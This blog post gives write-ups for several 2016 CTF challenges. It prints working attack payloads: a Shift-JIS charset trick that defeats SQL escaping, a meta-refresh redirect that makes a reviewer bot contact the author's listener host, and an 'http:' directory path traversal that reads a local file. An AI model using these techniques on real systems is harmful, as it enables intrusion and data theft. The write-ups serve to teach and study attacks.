Boston Key Party CTF 2016 writeups
I participated in the Boston Key Party CTF 2016 and would like to share my solutions for the following challenges with you:
Click the links above to jump to the writeup.
Good morning
Good Morning - 3 - 99 solves : web: http://52.86.232.163:32800/ https://s3.amazonaws.com/bostonkeyparty/2016/bffb53340f566aef7c4169d6b74bbe01be56ad18.tgz
This was a challenge in the 'web' category. After downloading the sourcecodeI noticed the following lines:
# Use Shift-JIS for everything so it uses less bytes
Response.charset = "shift-jis"
connect_params["charset"] = "sjis"
#[...]
# List from http://php.net/manual/en/function.mysql-real-escape-string.php
MYSQL_SPECIAL_CHARS = [
("\\", "\\\\"),
("\0", "\\0"),
("\n", "\\n"),
("\r", "\\r"),
("'", "\\'"),
('"', '\\"'),
("\x1a", "\\Z"),
]
def mysql_escape(s):
for find, replace in MYSQL_SPECIAL_CHARS:
s = s.replace(find, replace)
return s
Okay, it looks like someone is trying to prevent SQL-Injection by escaping characters. I checked if the MYSQL_SPECIAL_CHARS
array contains all dangerous characters and yes nothing is missing.
Another thing that instantly triggered a red flag is the Shift-JIS
enconding. I guess that setting the response charset doesn't really make sense, but changing the MySQL connection's charset can lead to SQL-Injection.
Looking further down the code, we find two possible injection candidates:
if message["type"] == "answer":
question = mysql_escape(questions[i])
answer = mysql_escape(message["answer"])
cursor.execute('INSERT INTO answers (question, answer) VALUES ("%s", "%s")' % (question, answer))
conn.commit()
and
elif message["type"] == "get_answer":
question = mysql_escape(message["question"])
answer = mysql_escape(message["answer"])
cursor.execute('SELECT * FROM answers WHERE question="%s" AND answer="%s"' % (question, answer))
ws.send(json.dumps({"type": "got_answer", "row": cursor.fetchone()}))
The latter is more interesting, because I couldn't think of an exploit where an INSERT
statement would help. The next step is to modify the SELECT
query and hope that the flag is somewhere in the database.
Obviously, the usual SQL-Injection tricks won't work, because dangerous characters are escpaed by mysql_escape(s)
. The trick may be to use multibyte characters which encoded as unicode pass the filter, but encoded as shift-jis
turn into dangerous characters.
My next idea was to write a small encoding-simulator, so that I can build the injection exploit locally and then simply run it against the service. It turned out that this took way more time than expected.
My first idea was to use 0xe0
as the value for question
to consume the following "
and form the following query:
SELECT * FROM answers WHERE question="AND answer="%s"
Setting answer=" or 1=1 -- "
should turn it into a successfull SQL-Injection, but unfortunately that didn't work.
I further noticed that neither Python nor PHP really like multibyte characters:
$> python2 -c 'print "\xe0abc".encode("shift-jis")'
Traceback (most recent call last):
File "<string>", line 1, in <module>
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe0 in position 0: ordinal not in range(128)
$> php hack.php "\u00e0abc" a
{"type":"get_answer","question":"\u00e0abc","answer":"a"}
SELECT * FROM answers WHERE question="àabc" AND answer="a"
SELECT * FROM answers WHERE question="?abc" AND answer="a"
After spending way too much time to try to figure out a way to simulate the unicode->shift-jis
encoding, I thought that if we can't remove the "
, we can (ab)use the escaping for our attack. Here's a python script and after looking through the output I noticed the following lines:
========: a5
a5
\u00a5\u0022\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u0020\u002d\u002d\u0020
{"type":"get_answer","question":"\u00a5\u0022\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u0020\u002d\u002d\u0020","answer":"answer"}
SELECT * FROM answers WHERE question="\\" or 1=1 -- " AND answer="answer"
The 0xa5
will turn into a \
and thus escape the escaping backslash, what leaves us with a functioning "
. I used the simple websocket client to submit the JSON data and it returned the flag:
{"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]}
des ofb
des ofb - 2 - 182 solves : crypto: Decrypt the message, find the flag, and then marvel at how broken everything is. https://s3.amazonaws.com/bostonkeyparty/2016/e0289aac2e337e21bcf0a0048e138d933b929a8c.tar
The sourcecode contains some python lines. It's straight forward to write a snippet which tries to decrypt the ciphertext:
from Crypto.Cipher import DES
KEY = raw_input("Key: ").strip().decode('hex')
IV = '13245678'
a = DES.new(KEY, DES.MODE_OFB, IV)
f = open('ciphertext', 'r')
ciphertext = f.read()
f.close()
ciphertext = a.decrypt(ciphertext)
print ciphertext
The task description doesn't give us any hints about the key, but python's help function does:
DESCRIPTION
DES `(Data Encryption Standard)`__ is a symmetric block cipher standardized
by NIST_ . It has a fixed data block size of 8 bytes.
Its keys are 64 bits long, even though 8 bits were used for integrity (now they
are ignored) and do not contribute to securty.
DES is cryptographically secure, but its key length is too short by nowadays
standards and it could be brute forced with some effort.
help(DES)
tells us that the key should be 64 bits (= 8byte) long and that it could be brute forced
. The IV
is also 8 bytes long. However, brute forcing the whole 64bit keyspace can't be the solution. I gave 0x0000000000000000
a try and got a strange plaintext-ciphertext mix:
uì$¥s Consci>Æ¢s make Cý
)íf us allÀ*5P¹us the N;-P¥e of Resæ/£qIs sicklů{W¨ , with tįK+¨[cast of ø¢.¹W
And entɸ of greaØê¥[and mome¾GQ±¹ this re˫?Æ¥ir Curre¾{¿ awry,
{§¹on. Soft³.Æ¢
,
The faŸK¨ia? NympÄæK2P¹y OrisonßÀ)>Æ¡ my sins¸6¯red. BKPï- ts_just_͕3¹$repeatin˕/Q°q
There's BKP
and _just_
in it, but that's still not the whole flag. Googling for "Des 0x0000000000000000" brings us to a Wikipedia article about Weak DES keys. I started to test all possible weak keys and voila 0xE1E1E1E1F0F0F0F0
gives us the plaintext:
[snip]
The fair Ophelia? Nymph, in thy Orisons
Be all my sins remembered. BKPCTF{so_its_just_a_short_repeating_otp!}
Bug Bounty
Bug Bounty - 3 - 40 solves : web: grill the web! http://52.87.183.104:5000/
This was another web challenge, but this time without sourcecode. It was a kind of a submission system. One could register an account and then submit "bug reports". The report had an initial state of pending
, but after solving a captcha the report was marked as seen
and diplayed back to the user.
I remembered a challenge where an XSS had to be used to hijack the "admin" account. So my first idea was to somehow validate if a remote client is actually viewing the report or not (e.g. a phantomjs headless browser).
I ran nc -l -p 8088
on my server and created a bug report with the following text: '"><img src="http://SERVER:8088/test.png">
. I waited some seconds after solving the captcha, but nothing happened and even after I viewed the submission no request reached my nc instance.
That was when I noticed the CSP header:
content-security-policy:"default-src 'none'; connect-src 'self'; frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';"
It blocks XSS attacks by limiting the source of potential dangerous input to pre-defined sources.
The next thought was to somehow bypass CSP and to execute an XSS. However, I doubted that a (0day) CSP bypass is the solution for this challenge and I still didn't find out if someone/something is actually viewing (rendering) the page.
I had the idea to use a redirect to navigate the reviewer to my website, so I created a submission with <meta http-equiv="refresh" content="0; url=http://SERVER:8088/hi">
. A couple of seconds later I saw this:
$> nc -l -p 8088
GET /hi HTTP/1.1
Host: SERVER:8088
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: BKPCTF{choo choo__here comes the flag}
Referer: http://localhost:5000/show_report_frame.html/3a35884912b990b45cca4669916bd521303cc63e
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Honestly, I expected that challenge to have another layer to hack before getting the flag.
OptiProxy
OptiProxy - 2 - 97 solves : web: inlining proxy here http://optiproxy.bostonkey.party:5300
This was the last web challenge. It straight out tells you where the sourcecode is: source is in /source
It's written in ruby and sinatra. The main functionality is the /:url
route:
get '/:url' do
url = params[:url]
main_dir = Dir.pwd
temp_dir = ""
dir = Dir.mktmpdir "inliner"
Dir.chdir dir
temp_dir = dir
exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}"
`#{exec}`
my_dir = Dir.glob ("**/")
Dir.chdir my_dir[0]
index_file = "index.html"
html_file = IO.read index_file
doc = Nokogiri::HTML(open(index_file))
doc.xpath('//img').each do |img|
header = img.xpath('preceding::h2[1]').text
image = img['src']
img_data = ""
uri_scheme = URI(image).scheme
begin
if (uri_scheme == "http" or uri_scheme == "https")
url = image
else
url = "http://#{url}/#{image}"
end
img_data = open(url).read
b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
img['src'] = b64d
rescue
# gotta catch 'em all
puts "lole"
next
end
end
puts dir
FileUtils.rm_rf dir
Dir.chdir main_dir
doc.to_html
end
The exec
variable looks interesting, but the parameter is escaped properly. It saves the contents of the url given in the url
parameter into a temporary directory. It continues to read the contents of the index.html
file and extract all img
tags. All images are converted to a base64 string and inlined into a single html file.
My first idea was to try a 301/302
redirect from a http(s)://
-url to file:///etc/passwd
, but it turns out neither ruby nor wget like redirects to the file://
-protocol.
I started to focus on the image downloading and converting.
if (uri_scheme == "http" or uri_scheme == "https")
url = image
else
url = "http://#{url}/#{image}"
end
These lines seem pretty solid and there's no way to change the protocol. Let's use some google magic: ruby uri scheme security
leads to a blogpost from Egor where an interesting bypass is explained:
One more example: open(params[:url]) if URI(params[:url]).scheme == 'http'. Looks good, but if you manage to create a folder called “http:”, the attacker can read local files with http:/../../../../../etc/passwd (hello, CarrierWave!).
That helps a lot, because --page-requisites
does download all necessary files for displaying the downloaded website and thus creates directories for the assets. That means we can create the http:/
directory. There's also the hidden hint about the flag's location:
get '/flag' do
str = "I mean, /flag on the file system... If you're looking here, I question"
str << " your skills"
str
end
Okay, let's try this. First we create an index.html
with references to our images:
<html>
<body>
Miau!
<img src="./http:/dummy">
<img src="./http:/../../../../../../../../flag">
</body>
</html>
Now we have to convince wget
to create the http:/
directory:
$> mkdir 'http:/'
$> echo "hi" > 'http:/dummy'
The final step is to let the website do its work: http://optiproxy.bostonkey.party:5300/bkpctf.gehaxelt.in
. We'll find the flag in the second image's src
attribute:
echo -n 'QktQQ1RGe21heWJlIGRvbnQgaW5saW5lIGV2ZXJ5dGhpbmcufQo=' | base64 -d
BKPCTF{maybe dont inline everything.}
ltseorg
ltseorg - 4 - 75 solves : crypto: make some (charlie)hash collisions! ltseorg.bostonkey.party 5555 https://s3.amazonaws.com/bostonkeyparty/2016/a531382ad51f8cd2b74369e2127e11dfefb1676b.tar
This one was a bit strange. It's a crypto challenge written in Python (Source) and Ruby.
The Ruby part is only the wrapper which calls the python code:
exec = "python ./tlseorg.py --check #{Shellwords.shellescape s1} #{Shellwords.shellescape s2}"
out = `#{exec}`
puts out
if out == "Success\n"
conn.puts "FLAG"
else
conn.puts "failure"
end
With these arguments, the python script runs the following code:
elif len(sys.argv) == 4 and (sys.argv[1] == "--check"):
if check(sys.argv[2], sys.argv[3]): print "Success"
else: print "Failure"
The check function first decodes our string as hex followed by a bit of string comparison and finally passes the data to the hash
function:
def check(hashstr1, hashstr2):
hash1 = binascii.unhexlify(hashstr1);hash2 = binascii.unhexlify(hashstr2)
if hashstr1 == hashstr2 or hash1 == hash2: return False
elif hash(hash1) == hash(hash2): return True
return False
So we need to find a hash collision as the description suggests:
make some (charlie)hash collisions!
The first thing the hash function does is to pad the message with NUL
-bytes:
def pad_msg(msg):
while not (len(msg) % 16 == 0): msg+="\x00"
return msg
Because of the unhexlify
our 00
input will turn into a NUL
-byte, thus becoming a part of the padding and bypassing the string comparisons.
This is how I got the flag:
$> nc ltseorg.bostonkey.party 5555
gimme str 1
00
gimme str 2
0000
BKPCTF{really? more crypto?}
Ideas & Fails
I'd like to write about some challenges were I had an idea or failed.
Bob's hat
bob's hat - 4 - 63 solves : crypto : Alice and Bob are close together, likely because they have a lot of things in common.
This is why Alice asked him a small question, about something cooler than a wiener
We're given a public key, a password protected zip file and some encrypted data. The modulus is 1024 bit long. From the hints we find this stackexchange thread:
For instance, the paper gives an example of a 1024-bit RSA modulus ($k=1024$). It says that if $p$ and $q$ are identical in their 171 most significant bits, then you can factor $n$. You can compare this to the requirement in the DSS standard, if you like.
That links to Fermats factorisation method which I implemented in python:
#!/usr/bin/python2
import bigfloat
PRECISION=2000
n = 0x0086e996013e77c41699000e0941d480c046b2f71a4f95b350ac1a4d426372923d8a4561d96fbfb0240595907201ad3225cf6eded7de02d91c386ffac280b72d0f95cae71f42ebe0d3edaeace7cea3195fa32c1c6080d90ef853d06dd4572c92b9f8310bbc0c635a5e26952511751030a6590816554e763031bcbb31e3f119c65fL
n_sqrt = bigfloat.sqrt( n , bigfloat.precision(PRECISION))
a = bigfloat.ceil( n_sqrt , bigfloat.precision(PRECISION))
a_sqr = bigfloat.pow(a, 2, bigfloat.precision(PRECISION))
an_sub = bigfloat.sub(a_sqr, n , bigfloat.precision(PRECISION))
b = bigfloat.sqrt( an_sub , bigfloat.precision(PRECISION))
def is_int(num):
qf = bigfloat.floor(num, bigfloat.precision(PRECISION))
x = bigfloat.sub(num, qf , bigfloat.precision(PRECISION))
assert(x >= 0)
if x > 0:
return False
return True
while not is_int(b):
a = bigfloat.add( a, 1, bigfloat.precision(PRECISION))
a_sqr = bigfloat.pow(a, 2, bigfloat.precision(PRECISION))
an_sub = bigfloat.sub(a_sqr, n , bigfloat.precision(PRECISION))
b = bigfloat.sqrt( an_sub , bigfloat.precision(PRECISION))
ab = bigfloat.sub(a,b, bigfloat.precision(PRECISION))
ba = bigfloat.add(a,b, bigfloat.precision(PRECISION))
print (ab,ba)
#p = 9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987245583
#q = 9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987246769
#n = 0x0086e996013e77c41699000e0941d480c046b2f71a4f95b350ac1a4d426372923d8a4561d96fbfb0240595907201ad3225cf6eded7de02d91c386ffac280b72d0f95cae71f42ebe0d3edaeace7cea3195fa32c1c6080d90ef853d06dd4572c92b9f8310bbc0c635a5e26952511751030a6590816554e763031bcbb31e3f119c65fL
#e = 0x10001
It found some p
& q
with one iteration and I was able to decrypt the first zipfile:
cat almost_almost_almost_almost_there.encrypted | openssl rsautl -decrypt -inkey private.key -raw
XtCgoEKksjKFWlqOSxqsEhK/+tsr1k5c
The trick here was to use the -raw
switch to disable the padding checks. After unzipping the first zip file another public key needed to be cracked. I read through different papers and links to find a RSA attack which is cooler than Wiener's attack and also targets small prime differences. Unfortunately I didn't succeed to recover the second private key.
Simple calc
Simple Calc - 5 - 174 solves : pwn: what a nice little calculator! https://s3.amazonaws.com/bostonkeyparty/2016/b28b103ea5f1171553554f0127696a18c6d2dcf7 simplecalc.bostonkey.party 5400
I took radare2 and had a look at this binary. I think I understood what it does and that the issue is the memcpy
:
I have yet to become an exploiter and definitely need to learn about (basic) exploitation techniques. I know a bit how it works in theory, but I'm missing the practice part.
-=-